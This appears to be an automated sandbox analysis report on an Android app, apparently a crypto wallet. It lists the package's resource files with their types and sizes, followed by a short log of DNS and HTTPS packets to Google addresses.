        abc_spinner_mtrl_am_alpha.9.pngPNG image data, 18 x 24, 8-bit gray+alpha, non-interlaced327
        abc_scrubber_control_off_mtrl_alpha.pngPNG image data, 18 x 48, 8-bit gray+alpha, non-interlaced201
        abc_ic_menu_cut_mtrl_alpha.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced404
        abc_tint_edittext.xmlAndroid binary XML772
        abc_textfield_search_default_mtrl_alpha.9.pngPNG image data, 12 x 3, 8-bit gray+alpha, non-interlaced178
        abc_list_selector_disabled_holo_light.9.pngPNG image data, 42 x 126, 8-bit gray+alpha, non-interlaced258
        abc_tab_indicator_mtrl_alpha.9.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced204
        notification_icon_background.xmlAndroid binary XML372
        abc_spinner_mtrl_am_alpha.9.pngPNG image data, 54 x 72, 8-bit gray+alpha, non-interlaced524
        abc_list_divider_mtrl_alpha.9.pngPNG image data, 1 x 1, 8-bit grayscale, non-interlaced167
        abc_btn_switch_to_on_mtrl_00001.9.pngPNG image data, 81 x 81, 8-bit gray+alpha, non-interlaced2463
        abc_alert_dialog_title_material.xmlAndroid binary XML1516
        abc_ic_menu_selectall_mtrl_alpha.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced305
        abc_text_select_handle_right_mtrl_light.pngPNG image data, 66 x 33, 8-bit/color RGBA, non-interlaced262
        abc_ic_menu_copy_mtrl_am_alpha.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced127
        abc_list_selector_background_transition_holo_light.xmlAndroid binary XML424
        abc_ratingbar_small_material.xmlAndroid binary XML664
        abc_scrubber_control_to_pressed_mtrl_005.pngPNG image data, 27 x 27, 8-bit gray+alpha, non-interlaced272
        abc_text_select_handle_left_mtrl_light.pngPNG image data, 132 x 66, 8-bit colormap, non-interlaced420
        abc_spinner_textfield_background_material.xmlAndroid binary XML1160
        abc_ic_menu_copy_mtrl_am_alpha.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced133
        abc_btn_default_mtrl_shape.xmlAndroid binary XML932
        abc_list_pressed_holo_dark.9.pngPNG image data, 18 x 18, 8-bit gray+alpha, non-interlaced212
        abc_list_pressed_holo_dark.9.pngPNG image data, 6 x 6, 8-bit gray+alpha, non-interlaced207
        abc_list_selector_disabled_holo_dark.9.pngPNG image data, 21 x 63, 8-bit gray+alpha, non-interlaced228
        abc_list_focused_holo.9.pngPNG image data, 12 x 12, 8-bit/color RGBA, non-interlaced244
        abc_btn_colored_borderless_text_material.xmlAndroid binary XML604
        notification_action_tombstone.xmlAndroid binary XML1228
        abc_ic_star_half_black_16dp.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced197
        abc_list_longpressed_holo.9.pngPNG image data, 6 x 6, 8-bit/color RGBA, non-interlaced211
        ic_right_arr.pngPNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced133
        abc_ic_commit_search_api_mtrl_alpha.pngPNG image data, 64 x 64, 8-bit gray+alpha, non-interlaced228
        abc_text_select_handle_right_mtrl_dark.pngPNG image data, 176 x 88, 8-bit colormap, non-interlaced513
        notification_bg_normal_pressed.9.pngPNG image data, 16 x 16, 8-bit/color RGB, non-interlaced247
        abc_ic_menu_copy_mtrl_am_alpha.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced178
        com.android.support_support-compat.versionASCII text7
        abc_search_url_text.xmlAndroid binary XML588
        abc_switch_track_mtrl_alpha.9.pngPNG image data, 24 x 16, 8-bit gray+alpha, non-interlaced395
        abc_btn_check_to_on_mtrl_015.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced593
        abc_btn_check_to_on_mtrl_015.pngPNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced321
        abc_ab_share_pack_mtrl_alpha.9.pngPNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced267
        abc_ic_star_half_black_48dp.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced548
        abc_screen_simple_overlay_action_mode.xmlAndroid binary XML792
        abc_ic_star_half_black_48dp.pngPNG image data, 192 x 192, 8-bit gray+alpha, non-interlaced991
        notification_bg_normal.9.pngPNG image data, 16 x 16, 8-bit grayscale, non-interlaced221
        abc_spinner_mtrl_am_alpha.9.pngPNG image data, 36 x 48, 8-bit gray+alpha, non-interlaced417
        abc_ic_star_black_36dp.pngPNG image data, 54 x 54, 8-bit gray+alpha, non-interlaced522
        abc_textfield_search_default_mtrl_alpha.9.pngPNG image data, 18 x 5, 8-bit gray+alpha, non-interlaced178
        abc_alert_dialog_button_bar_material.xmlAndroid binary XML1208
        abc_ic_menu_paste_mtrl_am_alpha.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced226
        abc_menu_hardkey_panel_mtrl_mult.9.pngPNG image data, 96 x 36, 8-bit gray+alpha, non-interlaced738
        notification_template_custom_big.xmlAndroid binary XML2456
        abc_switch_track_mtrl_alpha.9.pngPNG image data, 35 x 25, 8-bit gray+alpha, non-interlaced484
        abc_ic_menu_copy_mtrl_am_alpha.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced263
        abc_spinner_mtrl_am_alpha.9.pngPNG image data, 27 x 36, 8-bit gray+alpha, non-interlaced345
        abc_select_dialog_material.xmlAndroid binary XML976
        abc_scrubber_control_off_mtrl_alpha.pngPNG image data, 24 x 64, 8-bit gray+alpha, non-interlaced267
        abc_spinner_mtrl_am_alpha.9.pngPNG image data, 27 x 36, 8-bit gray+alpha, non-interlaced345
        abc_list_selector_disabled_holo_light.9.pngPNG image data, 13 x 41, 8-bit gray+alpha, non-interlaced217
        abc_text_select_handle_left_mtrl_dark.pngPNG image data, 176 x 88, 8-bit colormap, non-interlaced513
        GOOGPLAY.RSAdata2178
        abc_btn_check_to_on_mtrl_015.pngPNG image data, 128 x 128, 8-bit gray+alpha, non-interlaced476
        abc_btn_radio_to_on_mtrl_000.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced464
        abc_btn_radio_to_on_mtrl_000.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced984
        abc_btn_radio_to_on_mtrl_000.pngPNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced324
        abc_text_select_handle_right_mtrl_light.pngPNG image data, 132 x 66, 8-bit colormap, non-interlaced422
        abc_scrubber_control_to_pressed_mtrl_005.pngPNG image data, 54 x 54, 8-bit gray+alpha, non-interlaced595
        android.arch.lifecycle_runtime.versionASCII text6
        abc_slide_out_bottom.xmlAndroid binary XML396
        select_dialog_singlechoice_material.xmlAndroid binary XML864
        abc_textfield_activated_mtrl_alpha.9.pngPNG image data, 12 x 11, 8-bit gray+alpha, non-interlaced181
        abc_cab_background_top_mtrl_alpha.9.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced229
        abc_textfield_search_activated_mtrl_alpha.9.pngPNG image data, 12 x 3, 8-bit gray+alpha, non-interlaced178
        abc_ic_star_black_48dp.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced887
        notification_template_custom_big.xmlAndroid binary XML3208
        abc_cab_background_internal_bg.xmlAndroid binary XML372
        abc_text_select_handle_left_mtrl_light.pngPNG image data, 66 x 33, 8-bit/color RGBA, non-interlaced278
        abc_ic_star_half_black_48dp.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced310
        abc_ab_share_pack_mtrl_alpha.9.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced286
        abc_textfield_search_activated_mtrl_alpha.9.pngPNG image data, 24 x 6, 8-bit gray+alpha, non-interlaced184
        abc_btn_radio_to_on_mtrl_000.pngPNG image data, 128 x 128, 8-bit gray+alpha, non-interlaced785
        notification_tile_bg.xmlAndroid binary XML304
        abc_ic_star_half_black_48dp.pngPNG image data, 144 x 144, 8-bit gray+alpha, non-interlaced789
        abc_list_longpressed_holo.9.pngPNG image data, 9 x 9, 8-bit/color RGBA, non-interlaced212
        abc_scrubber_control_off_mtrl_alpha.pngPNG image data, 36 x 96, 8-bit gray+alpha, non-interlaced322
        abc_scrubber_track_mtrl_alpha.9.pngPNG image data, 15 x 18, 8-bit gray+alpha, non-interlaced196
        abc_tint_default.xmlAndroid binary XML1120
        abc_vector_test.xmlAndroid binary XML612
        abc_list_selector_disabled_holo_dark.9.pngPNG image data, 28 x 84, 8-bit gray+alpha, non-interlaced236
        abc_primary_text_material_dark.xmlAndroid binary XML464
        abc_grow_fade_in_from_bottom.xmlAndroid binary XML852
        abc_ic_commit_search_api_mtrl_alpha.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced171
        activity_private_key.xmlAndroid binary XML2104
        abc_ic_star_black_48dp.pngPNG image data, 144 x 144, 8-bit gray+alpha, non-interlaced1291
        abc_ic_menu_copy_mtrl_am_alpha.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced260
        activity_create.xmlAndroid binary XML2472
        abc_list_pressed_holo_light.9.pngPNG image data, 6 x 6, 8-bit gray+alpha, non-interlaced207
        abc_secondary_text_material_dark.xmlAndroid binary XML464
        abc_ic_menu_cut_mtrl_alpha.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced705
        abc_textfield_search_default_mtrl_alpha.9.pngPNG image data, 36 x 10, 8-bit gray+alpha, non-interlaced186
        abc_ic_star_half_black_36dp.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced421
        abc_ic_star_half_black_36dp.pngPNG image data, 144 x 144, 8-bit gray+alpha, non-interlaced760
        com.android.support_support-fragment.versionASCII text7
        activity_wallet_seed.xmlAndroid binary XML3072
        abc_ic_voice_search_api_material.xmlAndroid binary XML828
        android.arch.lifecycle_viewmodel.versionASCII text6
        abc_alert_dialog_title_material.xmlAndroid binary XML1352
        abc_ratingbar_material.xmlAndroid binary XML664
        abc_color_highlight_material.xmlAndroid binary XML544
        abc_text_select_handle_left_mtrl_dark.pngPNG image data, 44 x 22, 8-bit/color RGBA, non-interlaced203
        abc_list_pressed_holo_light.9.pngPNG image data, 9 x 9, 8-bit gray+alpha, non-interlaced208
        abc_ic_menu_selectall_mtrl_alpha.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced215
        abc_ic_menu_overflow_material.xmlAndroid binary XML792
        notification_bg_normal.9.pngPNG image data, 8 x 8, 8-bit grayscale, non-interlaced215
        abc_ic_menu_share_mtrl_alpha.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced389
        abc_btn_radio_material.xmlAndroid binary XML464
        abc_ic_menu_share_mtrl_alpha.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced700
        abc_textfield_search_activated_mtrl_alpha.9.pngPNG image data, 36 x 10, 8-bit gray+alpha, non-interlaced187
        abc_btn_check_to_on_mtrl_000.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced227
        abc_screen_toolbar.xmlAndroid binary XML1452
        abc_ic_menu_paste_mtrl_am_alpha.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced348
        abc_ic_star_black_36dp.pngPNG image data, 144 x 144, 8-bit gray+alpha, non-interlaced1269
        abc_tooltip_exit.xmlAndroid binary XML388
        abc_tint_spinner.xmlAndroid binary XML772
        abc_text_select_handle_right_mtrl_light.pngPNG image data, 44 x 22, 8-bit/color RGBA, non-interlaced186
        abc_popup_menu_item_layout.xmlAndroid binary XML1692
        abc_expanded_menu_layout.xmlAndroid binary XML388
        abc_text_select_handle_left_mtrl_dark.pngPNG image data, 88 x 44, 8-bit/color RGBA, non-interlaced336
        abc_tint_spinner.xmlAndroid binary XML668
        ic_launcher.pngPNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced2035
        abc_ic_arrow_drop_right_black_24dp.xmlAndroid binary XML1000
        notification_action.xmlAndroid binary XML1052
        abc_ic_menu_paste_mtrl_am_alpha.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced461
        abc_cab_background_top_mtrl_alpha.9.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced226
        abc_ic_star_black_36dp.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced652
        abc_switch_track_mtrl_alpha.9.pngPNG image data, 47 x 32, 8-bit gray+alpha, non-interlaced618
        abc_ic_menu_share_mtrl_alpha.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced899
        com.android.support_appcompat-v7.versionASCII text7
        abc_ic_menu_cut_mtrl_alpha.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced251
        abc_screen_toolbar.xmlAndroid binary XML1504
        abc_seekbar_tick_mark_material.xmlAndroid binary XML516
        abc_text_select_handle_middle_mtrl_light.pngPNG image data, 40 x 48, 8-bit/color RGBA, non-interlaced585
        abc_seekbar_track_material.xmlAndroid binary XML1408
        abc_text_select_handle_middle_mtrl_light.pngPNG image data, 20 x 24, 8-bit/color RGBA, non-interlaced310
        abc_ic_star_half_black_48dp.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced431
        com.android.support_support-vector-drawable.versionASCII text7
        abc_textfield_default_mtrl_alpha.9.pngPNG image data, 19 x 16, 8-bit gray+alpha, non-interlaced192
        abc_text_cursor_material.xmlAndroid binary XML516
        abc_textfield_activated_mtrl_alpha.9.pngPNG image data, 25 x 22, 8-bit gray+alpha, non-interlaced189
        MANIFEST.MFASCII text, with CRLF line terminators51266
        abc_action_menu_layout.xmlAndroid binary XML576
        abc_ic_star_half_black_36dp.pngPNG image data, 108 x 108, 8-bit gray+alpha, non-interlaced577
        abc_text_select_handle_middle_mtrl_dark.pngPNG image data, 60 x 72, 8-bit/color RGBA, non-interlaced752
        abc_activity_chooser_view_list_item.xmlAndroid binary XML1304
        rounded_et.xmlAndroid binary XML760
        abc_btn_borderless_material.xmlAndroid binary XML588
        ic_right_arr.pngPNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced215
        abc_text_select_handle_left_mtrl_light.pngPNG image data, 88 x 44, 8-bit/color RGBA, non-interlaced335
        abc_text_select_handle_right_mtrl_light.pngPNG image data, 88 x 44, 8-bit/color RGBA, non-interlaced318
        abc_scrubber_control_to_pressed_mtrl_000.pngPNG image data, 18 x 18, 8-bit gray+alpha, non-interlaced196
        abc_switch_track_mtrl_alpha.9.pngPNG image data, 71 x 48, 8-bit gray+alpha, non-interlaced851
        abc_ic_menu_share_mtrl_alpha.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced480
        abc_scrubber_track_mtrl_alpha.9.pngPNG image data, 30 x 36, 8-bit gray+alpha, non-interlaced207
        abc_spinner_mtrl_am_alpha.9.pngPNG image data, 54 x 72, 8-bit gray+alpha, non-interlaced525
        abc_ic_star_black_16dp.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced263
        abc_btn_check_to_on_mtrl_000.pngPNG image data, 64 x 64, 8-bit gray+alpha, non-interlaced281
        abc_text_select_handle_left_mtrl_light.pngPNG image data, 44 x 22, 8-bit/color RGBA, non-interlaced203
        abc_list_selector_holo_light.xmlAndroid binary XML1064
        abc_scrubber_primary_mtrl_alpha.9.pngPNG image data, 20 x 24, 8-bit gray+alpha, non-interlaced208
        abc_alert_dialog_button_bar_material.xmlTarga image data - RLE 440 x 65536 x 20 +1 +28 ""1536
        abc_textfield_default_mtrl_alpha.9.pngPNG image data, 38 x 33, 8-bit gray+alpha, non-interlaced200
        notification_template_icon_group.xmlAndroid binary XML988
        abc_list_selector_background_transition_holo_dark.xmlAndroid binary XML424
        abc_textfield_search_material.xmlAndroid binary XML756
        ic_right_arr.pngPNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced188
        abc_btn_check_material.xmlAndroid binary XML464
        abc_slide_out_top.xmlAndroid binary XML396
        abc_secondary_text_material_light.xmlAndroid binary XML464
        notification_bg_low.xmlAndroid binary XML532
        AndroidManifest.xmlAndroid binary XML3416
        abc_spinner_mtrl_am_alpha.9.pngPNG image data, 18 x 24, 8-bit gray+alpha, non-interlaced318
        abc_list_focused_holo.9.pngPNG image data, 6 x 6, 8-bit/color RGBA, non-interlaced222
        abc_btn_colored_text_material.xmlAndroid binary XML604
        abc_ic_commit_search_api_mtrl_alpha.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced224
        abc_popup_background_mtrl_mult.9.pngPNG image data, 64 x 32, 8-bit gray+alpha, non-interlaced776
        abc_fade_out.xmlAndroid binary XML388
        abc_list_pressed_holo_light.9.pngPNG image data, 12 x 12, 8-bit gray+alpha, non-interlaced209
        abc_background_cache_hint_selector_material_light.xmlAndroid binary XML468
        abc_btn_colored_material.xmlAndroid binary XML1716
        abc_btn_radio_to_on_mtrl_015.pngPNG image data, 64 x 64, 8-bit gray+alpha, non-interlaced785
        com.android.support_animated-vector-drawable.versionASCII text7
        abc_btn_colored_material.xmlAndroid binary XML344
        abc_control_background_material.xmlAndroid binary XML304
        abc_list_selector_holo_dark.xmlAndroid binary XML1064
        abc_btn_colored_text_material.xmlAndroid binary XML500
        abc_menu_hardkey_panel_mtrl_mult.9.pngPNG image data, 192 x 72, 8-bit/color RGBA, non-interlaced1779
        abc_ic_search_api_material.xmlAndroid binary XML812
        abc_text_select_handle_left_mtrl_dark.pngPNG image data, 132 x 66, 8-bit colormap, non-interlaced420
        abc_item_background_holo_light.xmlAndroid binary XML1012
        notification_bg.xmlAndroid binary XML532
        abc_popup_enter.xmlAndroid binary XML508
        abc_background_cache_hint_selector_material_dark.xmlAndroid binary XML468
        notification_bg_normal.9.pngPNG image data, 12 x 12, 8-bit grayscale, non-interlaced212
        abc_ic_menu_paste_mtrl_am_alpha.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced152
        abc_scrubber_control_to_pressed_mtrl_000.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced403
        abc_tab_indicator_mtrl_alpha.9.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced202
        abc_ic_menu_selectall_mtrl_alpha.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced139
        abc_scrubber_control_to_pressed_mtrl_005.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced391
        abc_text_select_handle_left_mtrl_light.pngPNG image data, 176 x 88, 8-bit colormap, non-interlaced513
        abc_text_select_handle_middle_mtrl_dark.pngPNG image data, 20 x 24, 8-bit/color RGBA, non-interlaced311
        notification_template_part_time.xmlAndroid binary XML440
        abc_scrubber_control_to_pressed_mtrl_005.pngPNG image data, 18 x 18, 8-bit gray+alpha, non-interlaced197
        abc_ic_menu_cut_mtrl_alpha.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced905
        abc_list_pressed_holo_light.9.pngPNG image data, 18 x 18, 8-bit gray+alpha, non-interlaced212
        abc_list_selector_disabled_holo_light.9.pngPNG image data, 28 x 84, 8-bit gray+alpha, non-interlaced235
        abc_screen_content_include.xmlAndroid binary XML548
        abc_alert_dialog_button_bar_material.xmlAndroid binary XML1584
        notification_template_part_chronometer.xmlAndroid binary XML440
        abc_activity_chooser_view.xmlAndroid binary XML1684
        abc_text_select_handle_middle_mtrl_dark.pngPNG image data, 30 x 36, 8-bit/color RGBA, non-interlaced398
        notify_panel_notification_icon_bg.pngPNG image data, 30 x 30, 8-bit/color RGB, non-interlaced138
        abc_cab_background_top_mtrl_alpha.9.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced237
        abc_tint_seek_thumb.xmlAndroid binary XML604
        abc_ic_star_black_16dp.pngPNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced193
        abc_btn_colored_borderless_text_material.xmlAndroid binary XML464
        abc_textfield_default_mtrl_alpha.9.pngPNG image data, 25 x 22, 8-bit gray+alpha, non-interlaced187
        abc_tint_edittext.xmlAndroid binary XML668
        abc_ic_star_black_16dp.pngPNG image data, 64 x 64, 8-bit gray+alpha, non-interlaced599
        abc_alert_dialog_material.xmlAndroid binary XML2480
        abc_item_background_holo_dark.xmlAndroid binary XML1012
        notification_action.xmlAndroid binary XML1156
        notification_bg_normal_pressed.9.pngPNG image data, 12 x 12, 8-bit/color RGB, non-interlaced225
        abc_ic_menu_share_mtrl_alpha.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced270
        abc_list_selector_disabled_holo_dark.9.pngPNG image data, 42 x 126, 8-bit gray+alpha, non-interlaced260
        ic_launcher.pngPNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced3459
        abc_ic_menu_cut_mtrl_alpha.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced494
        abc_btn_check_to_on_mtrl_000.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced307
        abc_btn_check_to_on_mtrl_000.pngPNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced214
        abc_dialog_material_background.xmlAndroid binary XML716
        ic_right_arr.pngPNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced325
        meta.pngPNG image data, 201 x 182, 8-bit/color RGB, non-interlaced14387
        abc_tab_indicator_mtrl_alpha.9.pngPNG image data, 18 x 18, 8-bit gray+alpha, non-interlaced190
        abc_popup_exit.xmlAndroid binary XML508
        abc_ic_star_black_16dp.pngPNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced333
        abc_ic_ab_back_material.xmlAndroid binary XML692
        abc_scrubber_track_mtrl_alpha.9.pngPNG image data, 10 x 12, 8-bit gray+alpha, non-interlaced194
        switch_thumb_material_dark.xmlAndroid binary XML464
        abc_text_select_handle_right_mtrl_dark.pngPNG image data, 132 x 66, 8-bit colormap, non-interlaced422
        GOOGPLAY.SFASCII text, with CRLF line terminators51331
        abc_hint_foreground_material_dark.xmlAndroid binary XML564
        abc_action_bar_item_background_material.xmlAndroid binary XML264
        abc_dialog_title_material.xmlAndroid binary XML1072
        abc_btn_colored_borderless_text_material.xmlAndroid binary XML500
        abc_textfield_search_activated_mtrl_alpha.9.pngPNG image data, 18 x 5, 8-bit gray+alpha, non-interlaced178
        abc_tint_seek_thumb.xmlAndroid binary XML500
        abc_scrubber_primary_mtrl_alpha.9.pngPNG image data, 30 x 36, 8-bit gray+alpha, non-interlaced210
        abc_ratingbar_indicator_material.xmlAndroid binary XML704
        abc_ic_star_half_black_16dp.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced309
        abc_primary_text_disable_only_material_dark.xmlAndroid binary XML464
        abc_menu_hardkey_panel_mtrl_mult.9.pngPNG image data, 128 x 48, 8-bit gray+alpha, non-interlaced966
        abc_ic_menu_copy_mtrl_am_alpha.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced327
        abc_ic_menu_copy_mtrl_am_alpha.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced199
        abc_switch_thumb_material.xmlAndroid binary XML464
        abc_scrubber_control_to_pressed_mtrl_005.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced631
        abc_btn_check_to_on_mtrl_000.pngPNG image data, 128 x 128, 4-bit colormap, non-interlaced275
        abc_primary_text_disable_only_material_light.xmlAndroid binary XML464
        abc_ic_menu_cut_mtrl_alpha.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced710
        abc_slide_in_top.xmlAndroid binary XML396
        abc_tab_indicator_mtrl_alpha.9.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced194
        notification_bg_low_pressed.9.pngPNG image data, 8 x 8, 8-bit/color RGB, non-interlaced223
        abc_ic_star_half_black_36dp.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced253
        abc_list_focused_holo.9.pngPNG image data, 18 x 18, 8-bit/color RGBA, non-interlaced245
        ic_launcher.pngPNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced4986
        abc_ic_star_black_48dp.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced668
        tooltip_frame_dark.xmlAndroid binary XML484
        abc_btn_radio_to_on_mtrl_015.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced563
        abc_btn_radio_to_on_mtrl_015.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced1208
        abc_btn_radio_to_on_mtrl_015.pngPNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced356
        abc_list_longpressed_holo.9.pngPNG image data, 12 x 12, 8-bit/color RGBA, non-interlaced214
        abc_scrubber_primary_mtrl_alpha.9.pngPNG image data, 15 x 18, 8-bit gray+alpha, non-interlaced205
        abc_list_menu_item_radio.xmlAndroid binary XML532
        abc_list_divider_mtrl_alpha.9.pngPNG image data, 1 x 1, 8-bit grayscale, non-interlaced167
        abc_list_menu_item_layout.xmlAndroid binary XML1396
        abc_ic_star_black_36dp.pngPNG image data, 108 x 108, 8-bit gray+alpha, non-interlaced983
        abc_shrink_fade_out_from_bottom.xmlAndroid binary XML852
        classes.dexDalvik dex file version 0352612824
        abc_list_menu_item_icon.xmlAndroid binary XML684
        abc_ic_go_search_api_material.xmlAndroid binary XML640
        abc_action_mode_close_item_material.xmlAndroid binary XML840
        abc_ratingbar_material.xmlAndroid binary XML704
        abc_action_bar_title_item.xmlAndroid binary XML872
        abc_primary_text_material_light.xmlAndroid binary XML464
        abc_slide_in_bottom.xmlAndroid binary XML396
        abc_ic_commit_search_api_mtrl_alpha.pngPNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced173
        tooltip_frame_light.xmlAndroid binary XML484
        select_dialog_item_material.xmlAndroid binary XML640
        abc_btn_radio_to_on_mtrl_015.pngPNG image data, 128 x 128, 8-bit gray+alpha, non-interlaced946
        abc_ic_menu_copy_mtrl_am_alpha.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced202
        abc_tooltip_enter.xmlAndroid binary XML388
        abc_btn_switch_to_on_mtrl_00012.9.pngPNG image data, 41 x 41, 8-bit gray+alpha, non-interlaced1243
        abc_tooltip.xmlAndroid binary XML1056
        abc_switch_track_mtrl_alpha.9.pngPNG image data, 94 x 64, 8-bit gray+alpha, non-interlaced813
        abc_popup_background_mtrl_mult.9.pngPNG image data, 128 x 64, 8-bit gray+alpha, non-interlaced1544
        abc_list_pressed_holo_dark.9.pngPNG image data, 9 x 9, 8-bit gray+alpha, non-interlaced208
        abc_fade_in.xmlAndroid binary XML388
        abc_text_select_handle_left_mtrl_dark.pngPNG image data, 66 x 33, 8-bit/color RGBA, non-interlaced278
        ic_launcher.pngPNG image data, 144 x 144, 8-bit/color RGBA, non-interlaced8632
        abc_tab_indicator_material.xmlAndroid binary XML468
        abc_hint_foreground_material_light.xmlAndroid binary XML564
        abc_tint_switch_track.xmlTarga image data - RLE 240 x 65536 x 10 +1 +28 ""768
        abc_ic_menu_cut_mtrl_alpha.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced910
        notification_action_tombstone.xmlAndroid binary XML1332
        abc_action_mode_bar.xmlAndroid binary XML464
        abc_text_select_handle_right_mtrl_dark.pngPNG image data, 66 x 33, 8-bit/color RGBA, non-interlaced263
        abc_btn_switch_to_on_mtrl_00012.9.pngPNG image data, 54 x 54, 8-bit gray+alpha, non-interlaced1731
        notification_bg_low_normal.9.pngPNG image data, 16 x 16, 8-bit grayscale, non-interlaced221
        abc_scrubber_control_off_mtrl_alpha.pngPNG image data, 12 x 32, 8-bit gray+alpha, non-interlaced159
        abc_popup_background_mtrl_mult.9.pngPNG image data, 192 x 96, 8-bit gray+alpha, non-interlaced2305
        abc_textfield_search_default_mtrl_alpha.9.pngPNG image data, 24 x 6, 8-bit gray+alpha, non-interlaced182
        support_simple_spinner_dropdown_item.xmlAndroid binary XML464
        abc_btn_switch_to_on_mtrl_00001.9.pngPNG image data, 41 x 41, 8-bit gray+alpha, non-interlaced1096
        abc_list_menu_item_checkbox.xmlAndroid binary XML528
        abc_ic_menu_selectall_mtrl_alpha.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced183
        abc_edit_text_material.xmlAndroid binary XML868
        abc_ic_menu_copy_mtrl_am_alpha.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced178
        abc_scrubber_primary_mtrl_alpha.9.pngPNG image data, 10 x 12, 8-bit gray+alpha, non-interlaced203
        abc_ic_menu_paste_mtrl_am_alpha.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced243
        abc_list_longpressed_holo.9.pngPNG image data, 18 x 18, 8-bit/color RGBA, non-interlaced221
        abc_tint_switch_track.xmlAndroid binary XML664
        abc_search_dropdown_item_icons_2line.xmlAndroid binary XML1916
        abc_ab_share_pack_mtrl_alpha.9.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced272
        abc_ic_star_half_black_36dp.pngPNG image data, 54 x 54, 8-bit gray+alpha, non-interlaced328
        abc_cab_background_top_mtrl_alpha.9.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced216
        abc_btn_check_to_on_mtrl_015.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced404
        create_btn.xmlAndroid binary XML680
        abc_ratingbar_indicator_material.xmlAndroid binary XML664
        abc_dialog_material_background.xmlAndroid binary XML372

        Advertisement

        Package NameAd Framework and Link

        Network Behavior

        Network Port Distribution

        TCP Packets

        TimestampSource PortDest PortSource IPDest IP
        Feb 12, 2019 14:28:56.954956055 CET1547253192.168.1.928.8.8.8
        Feb 12, 2019 14:28:56.991811991 CET53154728.8.8.8192.168.1.92
        Feb 12, 2019 14:29:27.334567070 CET49818443192.168.1.92216.58.201.202
        Feb 12, 2019 14:29:27.357472897 CET44349818216.58.201.202192.168.1.92
        Feb 12, 2019 14:29:27.397039890 CET49818443192.168.1.92216.58.201.202
        Feb 12, 2019 14:29:44.737957001 CET49826443192.168.1.92216.58.201.202
        Feb 12, 2019 14:29:44.760927916 CET44349826216.58.201.202192.168.1.92
        Feb 12, 2019 14:29:44.761120081 CET49826443192.168.1.92216.58.201.202
